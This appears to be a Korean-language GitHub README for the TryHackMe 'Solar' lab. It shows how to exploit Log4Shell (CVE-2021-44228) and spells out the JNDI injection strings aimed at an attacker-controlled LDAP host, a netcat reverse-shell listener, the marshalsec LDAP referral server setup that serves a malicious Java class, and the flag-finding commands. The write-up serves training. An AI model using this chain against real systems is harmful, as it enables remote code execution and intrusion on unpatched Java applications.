lavanya2085/solar-exploiting-log4j이 저장소는 TryHackMe의 *Solar Exploiting Log4j room*에 대한 상세한 실습을 제공하며, 치명적인 Log4Shell 취약점(CVE-2021-44228) 악용에 중점을 둡니다. 이 프로젝트는 공격자가 Java 애플리케이션의 안전하지 않은 로깅 메커니즘을 활용하여 원격 코드 실행을 달성하는 방법을 보여줍니다.
플랫폼: TryHackMe 난이도: 중간 주제: Log4Shell (Log4j 취약점)
Log4j 취약점(CVE-2021-44228)을 이용하여 원격 코드 실행을 달성하고 플래그를 획득합니다.
nmap -sC -sV <TARGET_IP>
Log4j 취약점은 JNDI 인젝션을 허용합니다:
${jndi:ldap://<ATTACKER_IP>:1389/a}
입력이 로깅되면 → 취약점이 존재합니다.
nc -lvnp 4444
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package
LDAP 서버 실행:
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389
python3 -m http.server 8000
악의적인 Java 클래스 생성 (Exploit.class)
취약한 필드에 페이로드 주입:
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}
💡 다음과 같은 헤더 사용:
트리거되면:
확인:
sudo -l
찾아볼 것:
find / -name flag.txt 2>/dev/null
cat flag.txt